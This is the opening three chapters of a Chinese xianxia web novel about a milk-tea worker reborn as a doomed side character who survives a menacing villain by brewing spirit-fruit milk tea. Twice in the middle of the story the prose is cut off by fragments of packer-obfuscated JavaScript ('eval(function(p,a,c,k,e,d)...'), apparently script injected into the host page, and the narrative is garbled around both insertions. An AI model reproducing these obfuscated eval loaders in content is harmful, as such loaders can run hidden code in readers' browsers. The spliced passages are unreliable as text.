《我靠摇奶茶在仙界暴富》 1. 杨枝甘露(一) 乌以灵死了。 猝死后混沌的意识从第999杯五分糖少冰的茉莉奶绿里剥离,下一秒,脖颈上冰凉的刺痛感让她猛然睁开眼睛。 一柄长剑抵在她脖颈上,剑锋已然刺破皮肤,刺痛之下渗出一串血珠,温热的血水沿着皮肤蜿蜒滑落。乌以灵颤颤巍巍抬起头,撞上了眼前男人沉寂恰如寒潭的目光,看向她时好像在看一桩没有生命死物。 男人青衣乌发,气质温润如玉,那张脸也生得俊美无俦,嘴角甚至噙着淡淡的笑,明明本该是让人如沐春风的仙君之姿,却因他眼中毫不掩饰的阴翳空洞无端显得阴鸷有如索命恶鬼。 这是……晏山青! 完蛋了!脑海里模糊的记忆碎片轰然炸开,她穿成了虐恋仙侠文里痴恋反派晏山青的小师妹,那个给反派下椿.药不成还被灌下剧毒的炮灰女配。 而眼下,正是被反派灌下毒药后的一幕! “小师妹痴慕我至此,连这等下作法子都用上了。”晏山青俯身靠近,冰冷的呼吸拂过她汗湿的鬓角,好似危险的毒蛇不急不缓吐着信子。但他的声音却是温柔得让人心颤,好似暧昧的低语,“那想来,也是愿意为我赴死的。” 乌以灵下意识摇头,但在触及男人毫无温度的目光后,一哆嗦又止住了动作。 晏山青的声音依旧温润亲和,他悠悠开口,“小师妹也不用着急,此毒名为断肠人。饮下后会穿肠烂肚全身腐坏,直到七日后化作滩没有骨头的血水。放心,我知道你留恋我,我会让你意识清醒地活到最后一刻。” “这份回礼,师妹可喜欢?” 剑尖挑起乌以灵的下巴,迫使她直视晏山青那双漆黑的眼睛。 乌以灵浑身的血液都要冻住了,她想开口,但巨大的恐惧死死扼住咽喉,让她发不出半分声音。 怎么活了不到两分钟又要死了? 怎么996的福报没享到,007的生死局先缠上来了? 不行,我好不容易活过来,绝对不能折在这! 电光石火间,乌以灵在极度的恐惧里捕捉到晏山青眉宇间微不可查的隐忍和手指轻按太阳穴的动作。 乌以灵深吸口气,濒死的绝望迫使她空前冷静下来。她迅速扫了眼前的东西。地面散落着三两个蔫巴巴的灵果和一堆瓶瓶罐罐。 对了,原主是食修。 但乌以灵眼睛却是蓦地一亮,这是什么? 原材料! 动了,奶茶妹的DNA动了! ——叮咚,您的“死了么”奶茶订单已送达。 客户:超级大反派。 备注:敢弄错一步就死定了!!! 好,懂了,这把是最难搞的顾客! 乌以灵手里死死抓着灵果,身体比脑子更快般伸手紧紧抓住剑身,强忍着心头的恐惧与剑刃割手的剧痛,她用尽全身力气想把它拉离脖颈,嘶哑艰涩的破喉而出,“师兄且慢!您……您有头疼对吧?” 趁反派没有打断她,她语气极尽热情地补充道,“师兄,我这有一秘方,专治您的头疼!请您让我试试!” 晏山青眼中寒意更深,若是目光能化作实质,这会儿乌以灵大概已经死了几百次了。他手中力道更甚,在剧痛之下,血珠一滴滴淌落在衣领上,他慢悠悠道,“哦,师妹有什么方法?要是没有用,师妹觉得我该把你怎么办呢?” 乌以灵大口喘着气,脸上血色尽褪惨白宛如纸人,她咬牙道,“此秘方您一试便知,若是不信我,我可以先喝,有毒我先死。” 原著里反派有着极为严重的头痛,为此他用尽方法但都没有治好。这个设定极为狗血,因为只有在靠近女主时他的头疼才能缓解,反派也因此对女主一见钟情。 她虽然不清楚反派头疼的根源,但她可以赌一把,用手里的东西暂时缓解反派的头疼。 乌以灵踉跄着站起身,“晏师兄您知道的,我们食修所追求的便是推广美食,让美食成为治愈人心的良药,您若是愿意品尝我做的奶茶,便可知我这话中含义。” 晏山青不由嗤笑,“就凭你那个只剩半口气的活死人宗门,能弄出些什么名堂?良药这种话,连医修一脉尚不敢妄言,小师妹口气倒是不小。” 乌以灵额间冷汗直冒,但她的声音仍然平稳,让人挑不出丝毫差错,“晏师兄不信的话,不妨给我机会一试……毕竟我现在是瓮中之鳖,要杀要打都凭您的意思。” 晏山青下巴微抬,放下了手中的剑,“师妹自便。” 乌以灵吐出口气,不断告诫自己要稳住心神。她走到桌边,将手中的灵果放在上面,又包裹一倒翻出里面剩余的东西。 快速扫视一圈,两瓶不知什么品种的茶叶,几个捣药杵,还有三四个稍显破烂的瓶瓶罐罐。这就是原主的全部家当了。 乌以灵迅速切下点果肉尝了尝味,居然是青提味的! 而后她又匆匆打开了那些乱七八糟的罐子,酱醋油盐糖盐料酒什么都有点。两罐贴了标签的茶叶里头不是深色晒干的叶子,而是五颜六色细长条的晶体。 乌以灵粗略地嗅了嗅,一罐是甘苦的普通茶叶,另一罐是茉莉花茶。 乌以灵脑中闪过原书片段“她身上馨甜的味道瞬间驱散了困扰晏山青多年的头疼。” 在穿越来之前,她只是一个普普通通的奶茶妹,一天摇十小时奶茶,现在即使闭着眼也能做奶茶。 赌一把!将安神静心的气味通过奶茶表露出来,是不是也可以缓解晏山青的头疼。 乌以灵缓缓运转身体里为数不多的灵力,尝试把它们凝聚在指尖。 乌以灵三两下给灵果扒了皮,动作粗暴地拿着捣药杵把灵果捣成汁,因为过于用力,嫩绿的的汁水甚至溅到了脸上。她又胡乱抓起糖罐,凭着直觉死马当活马医用做糖浆又手忙脚乱按比例兑水,再把它们一股脑倒进装有灵果汁的碗里。因为动作过于着急慌乱,期间还打翻了好几个罐子。 这时候,体内断肠人的毒性终于后知后觉地蔓延起来,仿佛有一只大手死死攥住了她的身体要把她揉作一团,筋脉寸断的疼痛几乎不亚于骨裂。乌以灵脸色惨白如纸,额角渗出豆大的汗珠。 乌以灵指尖颤抖,周身灵力失控,青绿色的灵力萦绕在浅浅的水碗上,但怎么也不能凝结成冰块,她视线逐渐模糊,颤抖着用尽最后一丝力量,水终于变成了晶莹剔透的冰块。她手一颤,原本大块的冰坨子立刻碎成了一个个小方块。 此时汗珠早已布满了额头,浑身血汗淋漓,乌以灵不敢大声喘息,生怕扰乱了手头的动作。她这时候几乎已经看不清眼前的东西了,完全是暑假工摇奶茶的肌肉记忆推着她一步步做下去。 冰块被哐哐倒进碗里,乌以灵又忙着去调配茉莉花茶。 - 晏山青饶有兴致地看着乌以灵在旁边像模像样地忙忙碌碌,他随口问,“这就是你说的‘奶茶’?” 乌以灵能察觉到那道始终钉在她背上的视线,几乎像毒蛇缠绕在身上,阴冷而粘腻,让她每一个动作都不得不如履薄冰。 晏山青指尖无意识敲击着扶手,哒,哒,哒,落在乌以灵耳朵里,像极了声声催命的符咒。 乌以灵咽了口唾沫,“是的,师兄也感兴趣吗?” 晏山青随便一指乌以灵手里淡棕色的凝状物,“这是什么?” 乌以灵道,“是茶冻,用茉莉花茶做的。” 晏山青玩笑般说,“那用师妹的血可以做什么,血冻吗?” 乌以灵被他的假设慎得头皮发麻,什么也说不出来,只能干巴巴笑两声。 最后一步了,乌以灵抬手倒完杯子里最后的茉莉花茶。 此时乌以灵的灵力已经耗尽,她端着碗的手没有半分力气,只听“哐啷”一声,碗几乎是砸落在桌上。像是打消他的怀疑般,乌以灵抓起勺子率先主动舀了一勺,而后才开口,“师兄尝尝吧。” 她语气虚弱,好似说完这句话已经再难为自己辩解一个字。 晏山青仔细端详着那碗青绿色的液体,浅色的半透明茶冻沉在碗底,不论是颜色还是外观都是他从未见过的。他又靠近了些许,闻到了淡淡的清甜味,几乎像是带着小勾子一样引诱着人品尝它。 晏山青修长的手指抚过粗糙的陶碗,寒气穿过碗壁渗透出来。他抬眼看向乌以灵,唇角那抹春风般的笑意终于淡去,只余下深不见底的探究。 他忽然抬手,冰凉的指尖猛地攫住了她沾满果汁和冷汗的双颊,迫使她靠近自己,乌以灵紧紧抿着嘴,强撑着自己冷静下来和反派对视。 晏山青凑在她耳边,语调温柔声音缠绵,好似情人间甜蜜的絮语,“小师妹,若是这东西不起作用……你说我该剁了你这双无用的手?还是割了你撒谎的舌头?” 未待乌以灵再说什么,晏山青已经端起了碗,片刻之后一饮而尽。 随后晏山青松开了禁锢着乌以灵的手。 很奇妙的味道,晏山青想。他过去不是没有见过这种低阶灵果和茉莉花茶,对它们的味道也再熟悉不过。但没有想过它们融合在一起是这样的。 初入口时是果汁爆炸般的清甜味,充沛的汁水里满满的都是新鲜果肉,本该有些腻的灵果,因为茉莉花茶的到来很好的中和了这种甜味,淡雅的茉莉花香后知后觉地蔓延开来,唇齿留香让人回味无穷。 晏山青端着碗迟迟未发一言,那双总是沉寂似万古长夜般的眼里再也难以冷静,他指尖不断摩挲着碗沿。 他这时才真正注意到乌以灵这个人,看向她的目光里不由得多了两分深意。 脸色苍白的少女周身灵力已经散尽,又恰逢断肠人毒发,这会只能浑身虚软地瘫坐在地上,但一双黑白分明的眼睛却是死死盯着他,似乎迫不及待想得到他的反馈。 晏山青眉头几不可察的动了一下,眼中流露出瞬间的空茫和紧绷后的松弛,甚至心里似乎弥漫起连他自己都未察觉的舒展。 他猛然拽起乌以灵,刺向她的眼神锐利如刀,各种情绪在他眼底交织涌动,全然没有最初伪装得天衣无缝的仙人模样,反倒像极了随时会把乌以灵撕碎的恶鬼,最终他沉声问,“此秘方你从何处得知?” 乌以灵大脑飞速转动,猜测反派如此失态,肯定是这法子管用,晏山青的头疼缓解了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乌以灵垂下眼,“随叫随到”“每月一次”,这些条件看似苛刻,甚至不亚于一场缓慢地凌迟,但起码给了她回旋的余地。 她真的从反派手里暂时活下来了! 晏山青站起身,“好了,天色也不早了。师妹早些歇着吧,我先走了。” 乌以灵长久地维持着垂着脑袋跪坐在地的动作,直到晏山青淡青色的衣摆消失在余光里,她才终于再难支撑住这具无力的身体,四肢瘫软倒在地上。 明明灵力耗尽浑身疲惫,但乌以灵却是睁眼以来前所未有地放松。但紧接着,是更深的恐惧像是浪潮生生席卷了她,她知晓如今能活着完全只是一时的。 若是她哪里做的不和晏山青的意,等待自己的还会是死路一条。 她绝对不能坐以待毙。 与其将命运寄托于这个喜怒无常的男人,不如抓紧找机会变大变强,趁着自己活下来了,抓紧时间能在反派的掌控之外壮大自己。 等到她足够强大了,反派肯定不能再左右她了。 好啊,既然这奶茶对于反派多年的头疼有用,那四舍五入反派也有把柄在她身上,那她就没有完全落入劣势。 她要用这奶茶作为自己的保命符和登天梯,用它彻底摆脱晏山青套在自己身上的死亡枷锁。 想到晏山青那张反派脸,乌以灵恨得牙痒痒。 这种人放在她的世界里完全是她最讨厌的类型——表里不一的死病娇。 哪有这样欺负清澈大学生的! 同时也是她最不想伺候的顾客类型——免费的东西还挑三拣四。 哪有这样折腾可怜暑假工的! 她现在是在收拾原主的烂摊子,将来要是能把反派一起收拾了就好了。 早晚用波霸噎死他。 - 也是直到这时,乌以灵才终于能仔细回顾一遍自己如今的处境。 自己穿的是一本酸涩虐恋仙侠文,这本书是她高三那会儿最喜欢的。无它,单纯剧情够狗血够抓马,为枯燥的生活增添了不少乐子。 男主林昱南是正道魁首,是惊艳绝伦的高岭之花;女主苏烟枝是单纯师妹,是出身平凡的草根少女。 女主因为无依无靠在剑修系受人刁难,男主出现为她解围。而后女主对男主一见钟情,但男主却是高岭之花无情无欲,就这样经历了你追我我追你你死我死大家一起死的百年纠葛后终于修成正果。 晏山青作为反派,对女主爱而不得,甚至为女主背叛宗门,结局自然是被男女主齐心协力镇压。 至于她,不过是个出场不到两页负责烘托反派魅力的小炮灰。 为了反派修习自己一窍不通的食修,只因为食修系住的百谷峰离反派的居所最近。在心知告白无果后仍然不愿放弃,又筹划给反派下药想把生米煮成熟饭,不料弄巧成拙,自己反被灌下穿肠人,最后在无人问津的角落痛苦死去。 一个痴情,愚蠢,废柴的标准炮灰形象。 她曾经还吐槽过这个和她同名同姓的角色是个悲催极了的丑角。 乌以灵紧紧闭了闭眼,既然如今她穿过来了,那就绝不会再踏上这趟必死的结局。 想到什么一般,乌以灵张开手掌,指缝里有一些黑色的药渣。 那是她方才废了老大力气咳出来的解药残渣。 既然她的奶茶能够解反派的头疼,那能不能也救她自己呢? 2. 杨枝甘露(二) 乌以灵再睁开眼时,外头天色已经蒙蒙亮了。 她后知后觉意识到自己居然在地上躺了一宿,乌以灵忍着浑身酸痛坐起身,只觉得每块骨头都在咯吱咯吱地响。 昨晚耗费了太多心力,她眼睛一闭就什么都忘了,这会不得不活动生锈的大脑思索接下来该什么。 是了,自己的命如今还悬在反派剑尖。 很快,乌以灵强撑着摇摇欲坠的身体爬起来,她仔细收好解药残渣,打算找机会让人看看这是什么做的。又迅速换好衣服草草洗完脸就出门了。她步履坚定地往食修学宫方向走去,毕竟在一无所有的当下,只有快速修炼才是她摆脱反派噩梦的唯一希望。 路上乌以灵注意到其他往学宫方向走的弟子都和她一样穿着水蓝色道袍,她忽然想起昨夜身着青衣的晏山青,要是没记错的话,原著里似乎提到过各修长老的道袍颜色和普通弟子是不一样的。 看来反派的身份远不止剑修系大师兄那么简单。 不过这也不是她该好奇地事。 - 食修学宫位置有些偏,乌以灵费了老大劲才找到,当她迈进学宫所在的那条羊肠小道时,她看见头顶御剑飞过的修士不屑地撇了她一眼。 但乌以灵懒得理会他们,她注意到的是头顶修士们明明款式一样但格外光鲜亮丽的衣服,但反观走进食修学宫的弟子们却是衣衫陈旧精神萎靡。 走入四面漏风的学宫,乌以灵来回进出几遍才确定没走错。这么破落的地方真的能上课? 乌以灵心里终于意识到这食修系怕是有些不对劲。 而她来得晚了些,这会只剩第一排最靠近讲桌的位置有个空位,她只能自认倒霉地走上前坐下。 毕竟哪有大学牲愿意坐第一排呢。 她前脚刚坐下,后脚长老就走了进来。 食修系长老李观水目前不过数百岁,对于他这个级别的境界而言实在不算高龄,但他的目光里却是同辈人里少有的憔悴苍老,他亲眼见证食修一脉从兴起到衰微,如今的他已经再难带着食修崛起,在讲桌后看着寥寥无几的弟子,只能长叹口气。 李观水没有拿任何书卷,他只是轻咳两声,而后开口道,“诸位入我食修门下尚不足月,先前未同诸君讲过食修的情况,今天我来和各位聊一聊,若是有后悔入此门的,随时可以退出另谋去处。” 乌以灵心里一动,这倒是正好方便她了解自己当下的处境。 她才从反派手里暂时捡回一条命,日后又该何去何从目前仍未可知。 只听李观水款款道来,“我们食修系创建不过百年,此道自兴起以来,便不似剑修医修丹修般受欢迎。众所周知修道者入门要辟谷,这就意味着舍弃五谷粮食,所以在普遍观念里食修是最无用一脉。当年我建立此道,用的将灵力融入食材的法子,运用此法可以助人在饮食后提高修为。” “但随着时间流逝,方法的弊端也暴露出来,传统食修用的是损己利人的方法,通常做一道菜便要损耗大量灵力,但通过修炼补给的灵力远不及损耗的灵力。” “外加灵食种类的匮乏也逐渐演变成另一大问题,修道之人本就不重口腹之欲,食修的菜色也多是效仿凡间菜色,百年间鲜少创新。” “这百年间不乏有人力图创新,但在浇筑灵力的基础上,没有人能做出根本的变动。十年前甚至有人因为常年损耗过多命丧于此……” 乌以灵手中滴溜溜转着的毛笔停止转动,而后滚落在桌面上。 她心念微动,不得不说李观水这个长老比她学校里教职业生涯规划的老师实诚多了,他很明确的讲出了食修的缺点,而且是很现实的缺点。 不受重视,资源枯竭,生源短缺,损己利人,传统修道方法很难继续维持下去的同时,又缺乏新鲜血液。 按理说面对这样一个随时会凉凉的专业,乌以灵应该赶紧收拾东西跑路的。 但是…… 乌以灵的眼睛逐渐亮起来,她在原本的世界不过刚上大学,正是什么都不会的年纪。碰巧做了几个月暑假工,现在要说最熟练的,应该就是做奶茶了。而她的奶茶,正好能完美避开李观水讲的弊端。 如果她想要迅速强大起来,只能依靠自己这双能做出无数种奶茶的双手。 这将是是她一穷二白来到异世界最大的金手指。 所以即使是天坑专业,乌以灵也因为专业对口了必须留下来。 李观水语气有些苍凉,深色的眼睛如同蒙了灰尘般衰败,“好了,愿意留下的可以继续坐在这里,若是不想继续修炼,现在从后门离开即可。” 他目光落寞,像极了这座破落不堪的学宫,也像极了一眼看不到希望的食修系。 他话音落下,陆陆续续有四五个弟子起身准备走出去。 乌以灵环顾四周,发现还剩约摸十几个人,连热门剑修的零头都没有。剩余的人脸上或迷茫,或不甘,更或者是接受前途落寞的麻木。 她忽然举起手,“长老,我有个新想法,或许能解决您说的问题。” 李观水面露诧异,他看着乌以灵的脸,似乎实在没想到这是谁。 连那些脚都迈出大门一半的弟子也下意识驻足,伸回脖子要看看是谁如此大胆。 乌以灵记起原主之前基本没来听过课,又补充道,“长老,我是乌以灵……从前顽劣不堪不愿认真修行,但我这段日子潜心修炼,找到了一个全新的方法,或许可以改变我们如今的困境。” 李观水尚未说什么,乌以灵便被此起彼伏的嗤嘲声淹没。 右边一个竖着马尾的少年眉眼里是掩饰不住的嫌弃,直接出口嘲讽,“哗众取宠!你一个整天追着晏师兄跑的花痴,连最基础的法术都不会。你可知晓,去年里我们这群日日修行不曾懈怠的食修尝试过数十种方法制作灵米,最后只得到了一堆烂苞谷。你现在拿着灵果瞎捣鼓,可不是在糟蹋长老的粮食!” 李观水皱起眉,“安慈,不要这样。” 名叫安慈的少年闷闷不乐地“哦”了声,不情不愿地闭上嘴。 乌以灵扬起微笑,“长老可愿让我一试??” 李观水颇感兴趣地走到她面前,“自然。不过你来说说,你想怎么改变我们如今的困境?这法子又新在哪?” 乌以灵笑道,“它新在不用损耗大量灵力,低成本高回报。而且,这是一种全然不同的食物。” 一语落下,学宫里犹如冷水下热油,瞬间炸开了锅。 其间安慈的嘲弄格外刺耳,“怎么可能有这种东西,吹牛都没有这样的。” 听着耳畔此起彼伏的议论,乌以灵丝毫不受影响,她淡淡扫了安慈一眼,目光温沉全然没有平日的痴态。 她平静地注视着李观水,“那我开始了。” 李观水语气温和,没有半点瞧不起她的意味,“请便。” 一个全程没有嘲笑过她的蝎子辫少女忽然好奇地凑上前来,“你做的东西叫什么名字呢?” “奶茶。” 蝎子辫少女努力搜寻着记忆里与此类似的名字,“是挤牛产的奶吗?” 李观水有些好笑地摸摸她的头,“烟枝,那叫牛乳。” 少女脸立刻红了个彻底,抿着嘴小声说,“记错了啦。” 乌以灵眼睛微睁,心觉有些怪异。 烟枝……苏烟枝?女主? 但女主怎么会在食修?原著里女主不是和男主一样的剑修吗?这是怎么回事?剧情错乱了? 但来不及细想,乌以灵这会得赶紧卷起袖子走到讲桌前。 桌上堆着数不清的食材,乌以灵目标明确,她拿起里头的灵果和茶叶,又简单挑了调料,这样下来准备材料算事准备好了。 桌前挤着十几个脑袋,他们虽然不信乌以灵能弄出什么名堂来,但还是抱着看乐子的心态想看看她会不会把屋子炸了。 昨天生死关头,她无暇多想,但后来仔细想想做奶茶的细节,她注意到这里和她原本的世界还是很不一样的。 灵果的味道虽然和水果很像,但味道上要浓郁鲜美得多,即使是最低阶的灵果,都胜过了品质最好的水果。而且这里对于茶叶的保存技术也截然不同,他们摒弃了茶叶,转而使用最大程度保留食材原本味道的茶晶体。同时调料也做到了完美高质量的提纯。 可以说在技术上,这里是远远胜过原来的世界的。 而且这里的食材里几乎都含有或多或少的灵力,对人体全然无害,完全不用担心高血糖高脂肪的问题。 她昨天把灵力注入奶茶里是为了给反派治病,也就是传统食修的方法。但转回头再想想,她的灵力真的多到足以让反派安心凝神吗? 显然是不行的。 乌以灵后知后觉意识到,真正起到作用的,是食材本身。 即使是最低阶的灵果,也能展现出低投入高回报的效果。 在李观水讲完食修的弊端后,乌以灵当即想到,既然传统食修用的是耗费修士自身灵力烹饪的办法,那她何不改变此法,转而在食材上下文章。 她猜测传统食修只是单纯地把灵力注入食材,但忽视了食材本身的用处,并没有最大程度激发出食材本身蕴含的灵力。 回顾自己昨天的每一步,乌以灵大概能想出来是哪里和普通的烹饪不一样——那也就是激发食材灵力的关键。 乌以灵从中拿了两个红色灵果,她刚要照例切下小块尝尝味道,苏烟枝忽然道,“换一个吧,那个有点干了。”说完又给她递了两个新的。 乌以灵敏锐地察觉到一丝古怪,但此刻却来不及想下去。 她尝了一口新灵果,果然是草莓的味道,个头大汁水充盈,酸酸甜甜十分可口,闻起来更是鲜美甘甜。她猜测这是品质好一些的灵果。 她用力捣碎灵果,鲜红的汁水溢出,飘散出甜美的气息。 舀起一勺纯白色的牛乳,雪白的牛乳醇厚香甜,在倒入杯子里后泛起细细的浮沫又被筷子三两下拌开。 乌以灵动作未停,她转身去煮茶叶,在等茶叶的时间里又分出心神凝聚灵力制作冰块,又想着要给老人家喝就只放了三四块冰。 但昨天耗尽灵力的后遗症还没散去,她的手有些颤抖,期间凝冰还失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冰凉的液体进入嘴中,随后最先感受到的味道是甜味,来自灵果本身的甜香在唇齿间迅速弥散开来,被捣成汁水的灵果和牛乳完美融合在一起,保留了灵果本身的酸甜鲜美同时又伴随着牛乳的丝滑浓郁,甚至在最后能够品尝到绿茶淡淡的回甘,茶香和灵果的果香以及牛乳的鲜美融合得恰到好处,几乎像是原本就该在一起似的。 最不可思议的是,随着这种液体入口,李观水能够感受到身体里冗余的尘杂一点点被新鲜甘甜的全新灵力取代,就好比进入了上好的灵池洗髓去尘。强大磅礴的新生力量冲击着腐朽老去的身躯,原本枯槁的面容泛起红晕,体内沉寂的灵力有了一丝悸动,竟然轻盈好似回到了少年时。 但他明明仔细观察过,乌以灵并没有在制作过程里注入灵力! 李观水浑浊的眼睛里流露出难以置信的光彩,握着杯子的手止不住颤抖。 没有注入灵力,那灵力居然是……来源于食材本身! 食修数百年苍茫求索,大半生在痛苦里艰难寻找方向,如今真的让他看到了希望!在他门下!在眼前这个年轻的孩子身上! 李观水放下杯子,他强忍着激动的心情,取来十几个小杯子,往里头分别倒了一点液体又推给每一个人。 所有人互看着彼此,虽然不信任乌以灵,但李长老还是完全相信的,于是挨个端起杯子一饮而尽。 之后,学宫里陷入了漫长的沉默。但在这片死寂里,不知是谁喃喃道,“怎么可能?” “她明明没有注入灵力,为什么我可以感觉到这么充盈灵力进入了身体?” “好好喝,和我之前喝过的茶叶完全不一样!” “就是就是,甜甜的感觉喝完心情都变好了。” 苏烟枝眼中此时只剩下惊叹,“这就是奶茶吗?你好厉害!” 安慈一张脸烫得能烤鸡蛋,他呆站在原地几乎忘记了呼吸,他一次次探查着杯子,反复确认着杯子里真的没有留下灵力。 这时他终于清晰认识到,这个东西是足以颠覆如今食修界的希望。 他羞愧难当,自己居然妄自揣测别人,而这人偏偏还这样厉害。 李观水慈爱地看着乌以灵,原本因为对食修的未来看不见希望而布满阴翳的眼睛在这一刻忽然明亮起来。 他紧紧握着乌以灵的手,望向乌以灵的目光里满是欣赏,“好孩子,能和我讲讲你是怎么想的吗?” 乌以灵笑着捏起桌上剩余的灵果,“长老,关键在于食材本身。即使是最低阶的灵果也蕴含了不可思议的灵力。但传统方法如同将水倒入池塘,损耗自身不说收效更是甚微。所以何不如主动掘开泉眼,引调食材自身的灵力,滋养自身又惠及他人,还能取之不尽用之不竭。” 她又拿起牛乳与茶晶体,“通过手动榨取汁液和摇杯撞奶的方法,将这几味催化剂和灵果结合,完美激发出了灵果之中的灵力。” “简而言之,我在传统注入灵力方法之外所做的创新便是不再依赖修士自身耗费,最大程度挖掘食材本身效用。” 安慈下意识轻声呢喃,“原来是这样,好神奇……” 在乌以灵看向他时,他又红了脸,磕磕绊绊地道歉,“抱……抱歉……” 他话说了一半,就不知道被谁挤到后面去了。 安慈的脸更红了,再次看向抬头乌以灵的目光里充满了愧疚与崇拜。 李观水听后醍醐灌顶,多年茫然如同浓雾的前途忽然有了确切的方向。 他若有所思,而后又听乌以灵说,“长老,我还有一事相求。” 3. 杨枝甘露(三) 李观水问,“什么?” 乌以灵深吸一口气,郑重开口,“我想带着这项新的发现参加半月后的宗门大比。” 李观水几乎是想也没想,“当然可以。” 苏烟枝睁大眼睛,“太好了,小乌小乌你一定要让别的修系大开眼界,平时都是他们打压我们,现在我们也要震撼他们八百年,给我们食修好好出口气。” 在尝完乌以灵的奶茶后,再没有人敢说她是草包废柴了,此时十几双眼睛看着乌以灵的目光里满是憧憬,就好像一个家徒四壁多年的家里忽然出了顶顶聪明的孩子,所有人都巴巴期待着他考取功名,光耀门楣。 看着这些热切的目光,乌以灵点点头,“好,我一定。” 其实乌以灵主动提出参加宗门大比也有她自己的考量,她的奶茶研究无疑帮助她快速在食修里站稳脚跟,但这只是她前进的第一步。 她要的是彻底摆脱晏山青压在她身上的死亡威胁,那就意味着她要在宗门里名声鹊起,然后拥有自己的势力。 待她在宗门,甚至是在仙门中都打响了名头,任谁也骑不到她头上了。 而半月后的宗门大比,无疑是眼下最好的跳板,一个获取资源,打响名声,挣脱束缚的最佳跳板。 李观水宽慰地笑了,“我还想听听关于奶茶的事,你有兴趣和我聊一聊吗?” 乌以灵思索片刻,“不如我回去写下来吧,这样大家都可以看到了。” 学宫里当即爆发出一片欢呼声。所有人围着乌以灵叽叽喳喳问这问那,乌以灵耐心回答着他们的问题。 其实他们这群十几岁的少年人之间原本也没有什么恩怨,向来是谁厉害就崇拜谁,管你之前是什么样的人,厉害就完了。乌以灵知道自己真正该忌惮的是像晏山青那样会威胁她性命的人。对于其他人她没有这种想法,反而觉得朋友多一点何乐不为。 直到下学时,围在乌以灵身边人才依依不舍地陆续散开。 但安慈和苏烟枝仍然小尾巴一样跟在她旁边,大有送她回家的意味。 人群散尽后,安慈站在她面前,磕磕绊绊开口,“对……对不起,之前是我胡说八道,我以后再也不恶意揣测你了。” 又听见他道歉,乌以灵挑挑眉,故意逗他,“只不恶意揣测我吗? 安慈脸红了个透,“不是……是所有人。” 乌以灵笑笑,“好了好了原谅你啦,知错能改善莫大焉。” “真的吗?”安慈像是被原谅的小狗,尾巴摇得快起飞了,“太好了小乌,你人真好。” 乌以灵接过他发的好人卡,转头主动与苏烟枝这位原书女主搭话,“话说烟枝,我记得你是天生剑骨的剑修苗子,怎么来了食修?” 苏烟枝吐吐舌头,“剑修系里面一板砖能拍死三个天生剑骨,竞争压力太大了我可不去,还是我们食修好,压力小不说长老人也好。” 她又拉起乌以灵的胳膊,“好吧好吧我承认,其实还因为有点馋李长老的点心……可不能告诉别人哦,不然我美少女的包袱就全毁了。” 乌以灵摸摸这个不着调的女主角的脑袋,又看着被冷落的安慈,“你呢?” 安慈目光黯淡,囫囵道,“家里过去常闹饥荒……听说食修可以让人吃饱饭,我就来了。” 话题有些沉重,乌以灵沉默着没有去揭人伤疤。 苏烟枝好心地拍拍他的肩膀,“没关系,以后大家一起吃饱吃好。” 绕开这个话题,苏烟枝又叹了口气,“哎,其实进食修后父母都说我这辈子完了,修这个还不如回家种地呢。但没办法,谁让我就馋食修系这一口呢。” 乌以灵终于可以问出心底的疑惑,“所以说,即使是在玉音宗这样的名门内部,各大修系的地位也不一样?” “那当然!”安慈抢答道,“虽然外面传的是玉音宗各大修系百花齐放,但我们宗内弟子谁不知道彼此间的差距比天堑还深。有前途的像是剑修,出去就是仙尊。或者是医修这样的,起早贪黑但收获颇丰,等熬成黄岐圣手就圆满了。但我们食修是最完蛋的,没前途不说,修行更是百年没长进,外头都说我们是群混子来着。” “是啊,每次练习基本法术的时候听见别人骂我们还是挺难受的。”苏烟枝撇撇嘴,“不过后来就习惯了。” 乌以灵想起来这是玉音宗另一项制度——和她大学上课差不多,通俗来说实行走班制。因为各修系弟子除了自己的专业对口之外,还要练习基本法术。说白了就是专业课和通课,通课由宗主的几个大弟子教授,专业课则由各修系长老亲自传授。 乌以灵摸摸苏烟枝的脑袋,“没事,我们很快就会让他们打脸的。” 这个话题无疑让人热血沸腾,安慈忙问,“宗门大比就在半个月后,小乌你有什么要准备的食材吗?” “对哦。”苏烟枝也道,“用稀有灵果还得去和千机阁申请,但我们地位太低了估计申了也没啥用,只能提前去宗门外面碰碰运气。” 这倒是个问题,乌以灵得好好想想。 不过有了安慈和苏烟枝的帮忙确实会方便许多,毕竟摇奶茶可不能只有一个人摇。 她刚想和两人道谢,却见苏烟枝和安慈同时停下脚步,有些纳闷地问,“怎么了?” “小乌……你抬头。” 安慈小声嘀咕,用力扯着乌以灵的袖口让她别低着头往前走了。 乌以灵有些莫名地抬起头,随后心跳骤然漏了一拍。 不远处的晏山青一袭青衣,身姿挺拔芝兰玉树,月光为他镀了层清冷的薄纱,嘴角仍然噙着那抹熟悉的,让人心底发寒的温润笑意。 乌以灵:“……”怎么在家门口等她。 安慈和苏烟枝互看一眼,他们当然知道乌以灵痴女似的疯狂迷恋晏山青,但现在他们算是乌以灵半个朋友了,当然不能看着乌以灵脑子发热又往晏师兄这个火坑里跳。 晏山青主缓步走近,高大的阴影笼罩着三人,只见他目光锁定乌以灵,温和但不容置疑地开口:“小师妹,借一步说话?” 随后又无比自然地揽过乌以灵,对安慈与苏烟枝微微一笑,“你们是小乌的朋友吗?” 安慈点点头,苏烟枝也主动问候,“晏师兄好。” 他们和剑修平素交集也不少,晏山青的名字自然是听过的,正道名门大师兄,青衣翩翩仙人风骨,目光总是温和而悲悯,让魔族闻之色变。 “你们好。”晏山青动作亲昵地揽着乌以灵的肩膀,“那先一步走了,二位请自便。” 这样他俩也不能什么了,只能一边琢磨着晏山青对乌以灵突然转变的态度一边一步三回头地走了,两人的目光里不约而同地带着浓浓的担忧,似乎预感到了这不会是什么好事。 乌以灵看着晏山青搭在她肩膀上的手,“师兄这是什么意思?” 晏山青慢慢收紧手间的力道,乌以灵肩膀上瞬间剧痛袭来,几乎是生生折断她的骨头,她强忍着没有吭声,只能听见反派幽幽道,“小师妹今天倒是出了不少风头,真厉害啊。” 乌以灵无暇去想这人是什么时候开始监视她的,她飞速转动大脑思索是哪里触到他的逆鳞了。 难道头又疼了? 她小心翼翼开口,“您可是身体不适?” 